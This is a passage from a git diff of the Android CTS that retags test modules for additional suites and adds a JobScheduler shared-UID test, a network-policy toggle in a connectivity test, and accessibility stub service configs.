+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
index 2d94543..7da5606 100644
--- a/hostsidetests/ui/appA/Android.mk
+++ b/hostsidetests/ui/appA/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppA
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
index 24108ca..07e2858 100644
--- a/hostsidetests/ui/appB/Android.mk
+++ b/hostsidetests/ui/appB/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppB
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
index fa63c59..688ace7 100644
--- a/hostsidetests/ui/control/Android.mk
+++ b/hostsidetests/ui/control/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingControl
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/usage/Android.mk b/hostsidetests/usage/Android.mk
index 482ba91..ff4f5e0 100644
--- a/hostsidetests/usage/Android.mk
+++ b/hostsidetests/usage/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.app.usage
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/usage/app/Android.mk b/hostsidetests/usage/app/Android.mk
index 7347b9b..59626d6 100644
--- a/hostsidetests/usage/app/Android.mk
+++ b/hostsidetests/usage/app/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsAppUsageTestApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/usb/Android.mk b/hostsidetests/usb/Android.mk
index bc98445..f08261e 100644
--- a/hostsidetests/usb/Android.mk
+++ b/hostsidetests/usb/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.usb
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index f71c7f4..2ddf30f 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -29,6 +29,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/webkit/Android.mk b/hostsidetests/webkit/Android.mk
index 6fe433c..663a079 100644
--- a/hostsidetests/webkit/Android.mk
+++ b/hostsidetests/webkit/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.webkit.hostside
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
index 6370fa4..60e9f3f 100644
--- a/hostsidetests/webkit/app/Android.mk
+++ b/hostsidetests/webkit/app/Android.mk
@@ -38,6 +38,6 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java b/libs/deviceutillegacy/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
similarity index 100%
rename from common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
rename to libs/deviceutillegacy/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
diff --git a/suite/audio_quality/lib/Android.mk b/suite/audio_quality/lib/Android.mk
index cd19e85..2b3c22a 100644
--- a/suite/audio_quality/lib/Android.mk
+++ b/suite/audio_quality/lib/Android.mk
@@ -19,7 +19,7 @@
LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
LOCAL_C_INCLUDES += $(LOCAL_PATH)/include $(LOCAL_PATH)/src
LOCAL_STATIC_LIBRARIES += libutils liblog libtinyalsa libcutils libtinyxml2
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS:= -g -fno-exceptions -Wno-unused-parameter
LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions
LOCAL_MODULE_HOST_OS := linux
LOCAL_MODULE:= libcts_audio_quality
diff --git a/suite/audio_quality/test/Android.mk b/suite/audio_quality/test/Android.mk
index 7a84802..f8fe13c 100644
--- a/suite/audio_quality/test/Android.mk
+++ b/suite/audio_quality/test/Android.mk
@@ -33,7 +33,7 @@
# need to keep everything in libcts_.. Otherwise, linker will drop some
# functions and linker error happens
LOCAL_WHOLE_STATIC_LIBRARIES := libcts_audio_quality
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS:= -g -fno-exceptions -Wno-unused-parameter
LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions -lpthread
LOCAL_CXX_STL := libc++_static
LOCAL_MODULE_HOST_OS := linux
diff --git a/suite/audio_quality/test/LogTest.cpp b/suite/audio_quality/test/LogTest.cpp
index 4412338..51cde10 100644
--- a/suite/audio_quality/test/LogTest.cpp
+++ b/suite/audio_quality/test/LogTest.cpp
@@ -14,6 +14,7 @@
* the License.
*/
+#include <inttypes.h>
#include <stdint.h>
#include <gtest/gtest.h>
@@ -46,12 +47,14 @@
int64_t d = 3;
int64_t e = 4;
int64_t f = 5;
- printf("printf %lld %lld %lld %lld %lld %lld\n", a, b, c, d, e, f);
- LOGD( "logd %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
- LOGV( "logv %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
- LOGI( "logi %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
- LOGW( "logw %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
- LOGE( "loge %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
+#define PrintABCDEF "%" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 \
+ " %" PRId64
+ printf("printf " PrintABCDEF "\n", a, b, c, d, e, f);
+ LOGD( "logd " PrintABCDEF, a, b, c, d, e, f);
+ LOGV( "logv " PrintABCDEF, a, b, c, d, e, f);
+ LOGI( "logi " PrintABCDEF, a, b, c, d, e, f);
+ LOGW( "logw " PrintABCDEF, a, b, c, d, e, f);
+ LOGE( "loge " PrintABCDEF, a, b, c, d, e, f);
Log::Instance()->setLogLevel(level);
}
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index acfcbb2..e58a494 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,12 +22,12 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Must match the package name in CtsTestCaseList.mk
LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 876882f..e433252 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -16,8 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.jobscheduler.cts">
-
+ package="android.jobscheduler.cts"
+ android:sharedUserId="android.jobscheduler.cts.shared.uid">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
@@ -48,4 +48,3 @@
android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
</manifest>
-
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index ed9f69c..855ad48 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsJobSchedulerTestCases.apk" />
<option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
+ <option name="test-file-name" value="CtsJobSchedulerSharedUid.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.jobscheduler.cts" />
diff --git a/tests/JobScheduler/jobperm/Android.mk b/tests/JobScheduler/jobperm/Android.mk
index 97bfd3e..f54f8d6 100644
--- a/tests/JobScheduler/jobperm/Android.mk
+++ b/tests/JobScheduler/jobperm/Android.mk
@@ -26,7 +26,7 @@
$(call all-java-files-under, src) \
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsJobSchedulerJobPerm
diff --git a/tests/JobScheduler/jobperm/README.txt b/tests/JobScheduler/jobperm/README.txt
new file mode 100644
index 0000000..f285815
--- /dev/null
+++ b/tests/JobScheduler/jobperm/README.txt
@@ -0,0 +1,2 @@
+This APK uses the same shared UID as CtsJobSchedulerTestCases. It has no code but exists for
+a shared-UID tests.
\ No newline at end of file
diff --git a/tests/JobScheduler/shareduid/Android.mk b/tests/JobScheduler/shareduid/Android.mk
new file mode 100644
index 0000000..ac4d8b3
--- /dev/null
+++ b/tests/JobScheduler/shareduid/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+
+LOCAL_SRC_FILES := \
+ $(call all-java-files-under, src) \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUid
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/shareduid/AndroidManifest.xml b/tests/JobScheduler/shareduid/AndroidManifest.xml
new file mode 100755
index 0000000..756a067
--- /dev/null
+++ b/tests/JobScheduler/shareduid/AndroidManifest.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jobscheduler.cts.shareduid"
+ android:sharedUserId="android.jobscheduler.cts.shared.uid">
+ <application>
+ </application>
+</manifest>
diff --git a/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java b/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
new file mode 100644
index 0000000..229ed1f
--- /dev/null
+++ b/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jobscheduler.cts.shareduid;
+
+public class Empty {
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index c08b249..4486c15 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -28,6 +28,8 @@
import android.net.wifi.WifiManager;
import android.util.Log;
+import com.android.compatibility.common.util.SystemUtil;
+
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -40,6 +42,12 @@
@TargetApi(21)
public class ConnectivityConstraintTest extends ConstraintTest {
private static final String TAG = "ConnectivityConstraintTest";
+ private static final String RESTRICT_BACKGROUND_GET_CMD =
+ "cmd netpolicy get restrict-background";
+ private static final String RESTRICT_BACKGROUND_ON_CMD =
+ "cmd netpolicy set restrict-background true";
+ private static final String RESTRICT_BACKGROUND_OFF_CMD =
+ "cmd netpolicy set restrict-background false";
/** Unique identifier for the job scheduled by this suite of tests. */
public static final int CONNECTIVITY_JOB_ID = ConnectivityConstraintTest.class.hashCode();
@@ -53,6 +61,8 @@
private boolean mHasTelephony;
/** Track whether WiFi was enabled in case we turn it off. */
private boolean mInitialWiFiState;
+ /** Track whether restrict background policy was enabled in case we turn it off. */
+ private boolean mInitialRestrictBackground;
private JobInfo.Builder mBuilder;
@@ -71,12 +81,20 @@
new JobInfo.Builder(CONNECTIVITY_JOB_ID, kJobServiceComponent);
mInitialWiFiState = mWifiManager.isWifiEnabled();
+ mInitialRestrictBackground = SystemUtil
+ .runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
+ .contains("enabled");
}
@Override
public void tearDown() throws Exception {
mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
+ // Restore initial restrict background data usage policy
+ if (mInitialRestrictBackground) {
+ SystemUtil.runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_ON_CMD);
+ }
+
// Ensure that we leave WiFi in its previous state.
if (mWifiManager.isWifiEnabled() == mInitialWiFiState) {
return;
@@ -174,6 +192,7 @@
if (!checkDeviceSupportsMobileData()) {
return;
}
+ ensureRestrictBackgroundPolicyOff();
disconnectWifiToConnectToMobile();
kTestEnvironment.setExpectedExecutions(1);
@@ -313,6 +332,16 @@
}
}
+ /**
+ * Ensures that restrict background data usage policy is turned off.
+ * If the policy is on, it interferes with tests that relies on metered connection.
+ */
+ private void ensureRestrictBackgroundPolicyOff() throws Exception {
+ if (mInitialRestrictBackground) {
+ SystemUtil.runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_OFF_CMD);
+ }
+ }
+
/** Capture the last connectivity change's network type and state. */
private class ConnectivityActionReceiver extends BroadcastReceiver {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java
new file mode 100644
index 0000000..382828f
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jobscheduler.cts;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.jobscheduler.MockJobService;
+import android.test.AndroidTestCase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@TargetApi(27)
+public class SharedUidTest extends AndroidTestCase {
+ private static final String TAG = "SharedUidTest";
+
+ private static final String OTHER_PACKAGE = "android.jobscheduler.cts.shareduid";
+ private static final long BROADCAST_TIMEOUT_SECONDS = 2 * 60;
+
+ /**
+ * Test to make sure disabling a package wouldn't cancel the jobs from other packages that use
+ * the same shared UID.
+ */
+ public void testCancelDisabledPackageJob() throws Exception {
+ final int JOBID = 1122331;
+
+ final JobScheduler js = getContext().getSystemService(JobScheduler.class);
+
+ try {
+ JobInfo ji = new JobInfo.Builder(JOBID,
+ new ComponentName(getContext(), MockJobService.class))
+ .setMinimumLatency(1000 * 60 * 60 * 24 /* 1 day */)
+ .build();
+
+ js.cancel(JOBID);
+
+ assertEquals(JobScheduler.RESULT_SUCCESS, js.schedule(ji));
+
+ // The job should be scheduled.
+ assertNotNull("Job should be registered", js.getPendingJob(JOBID));
+
+ // Create a filter with the loweset priority to wait until the jobscheduelr receives the
+ // intent.
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ final IntentFilter filter = new IntentFilter();
+ filter.addAction(Intent.ACTION_PACKAGE_CHANGED);
+ filter.addDataScheme("package");
+ filter.setPriority(IntentFilter.SYSTEM_LOW_PRIORITY);
+
+ getContext().registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (OTHER_PACKAGE.equals(intent.getData().getSchemeSpecificPart())) {
+ latch.countDown();
+ }
+ }
+ }, filter);
+
+
+ // Disable the other package with the same UID.
+ final PackageManager pm = getContext().getPackageManager();
+ pm.setApplicationEnabledSetting(
+ OTHER_PACKAGE,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+
+ assertEquals(PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ pm.getApplicationEnabledSetting(OTHER_PACKAGE));
+
+ // Wait until our receiver gets the broadcast.
+ assertTrue(latch.await(BROADCAST_TIMEOUT_SECONDS, TimeUnit.SECONDS));
+
+ // Make sure the job hasn't been canceled.
+ assertNotNull("Job shouldn't be canceled", js.getPendingJob(JOBID));
+ } finally {
+ js.cancel(JOBID);
+ }
+ }
+}
diff --git a/tests/ProcessTest/Android.mk b/tests/ProcessTest/Android.mk
index 5611b3b..2feff2e 100644
--- a/tests/ProcessTest/Android.mk
+++ b/tests/ProcessTest/Android.mk
@@ -24,6 +24,8 @@
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
+
LOCAL_PACKAGE_NAME := ProcessTests
LOCAL_DEX_PREOPT := false
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
index e55c0dd..81869bf 100644
--- a/tests/acceleration/Android.mk
+++ b/tests/acceleration/Android.mk
@@ -24,12 +24,13 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner compatibility-device-util legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccelerationTestCases
diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
index 7af9d90..4cd7e92 100644
--- a/tests/accessibility/Android.mk
+++ b/tests/accessibility/Android.mk
@@ -27,7 +27,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := test_current
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index 66bde82..5ea8df1 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Accessibility test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index ff830b6..9a3bbe2 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk
@@ -18,12 +18,15 @@
LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner mockito-target-minus-junit4 compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ mockito-target-minus-junit4 \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccessibilityServiceTestCases
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 329eb15..c40f7aa 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -65,7 +65,19 @@
<meta-data
android:name="android.accessibilityservice"
- android:resource="@xml/stub_gesture_a11y_service" />
+ android:resource="@xml/stub_gesture_dispatch_a11y_service" />
+ </service>
+
+ <service
+ android:name=".AccessibilityGestureDetectorTest$StubService"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService" />
+ <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accessibilityservice"
+ android:resource="@xml/stub_gesture_detect_a11y_service" />
</service>
<activity
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index 3a6b855..2e3d5dd 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -139,7 +139,9 @@
<string name="foo_bar_baz">Foo bar baz.</string>
- <string name="stub_gesture_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
+ <string name="stub_gesture_dispatch_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
+
+ <string name="stub_gesture_detector_a11y_service_description">com.android.accessibilityservice.cts.StubService</string>
<string name="stub_fprint_a11y_service_description">com.android.accessibilityservice.cts.StubFingerprintGestureAccessibilityService</string>
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml
deleted file mode 100644
index 25a55fc..0000000
--- a/tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:description="@string/stub_gesture_a11y_service_description"
- android:accessibilityEventTypes="typeAllMask"
- android:accessibilityFeedbackType="feedbackGeneric"
- android:accessibilityFlags="flagDefault"
- android:canPerformGestures="true"
- android:notificationTimeout="0" />
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml
new file mode 100644
index 0000000..ca3eab2
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<accessibility-service
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/stub_gesture_detector_a11y_service_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds"
+ android:canRequestTouchExplorationMode="true"
+ android:canRetrieveWindowContent="true"
+ android:canPerformGestures="true" />
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
new file mode 100644
index 0000000..912c9c4
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/stub_gesture_dispatch_a11y_service_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagDefault"
+ android:canPerformGestures="true"
+ android:notificationTimeout="0" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 4e2f897..b14b76a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -41,14 +41,11 @@
import java.util.Iterator;
import java.util.List;
-import com.android.compatibility.common.util.CddTest;
-
/**
* This class performs end-to-end testing of the accessibility feature by
* creating an {@link Activity} and poking around so {@link AccessibilityEvent}s
* are generated and their correct dispatch verified.
*/
-@CddTest(requirement="3.10/C-1-2,W-1-1")
public class AccessibilityEndToEndTest extends
AccessibilityActivityTestCase<AccessibilityEndToEndActivity> {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
new file mode 100644
index 0000000..fd1a9fd
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -0,0 +1,238 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
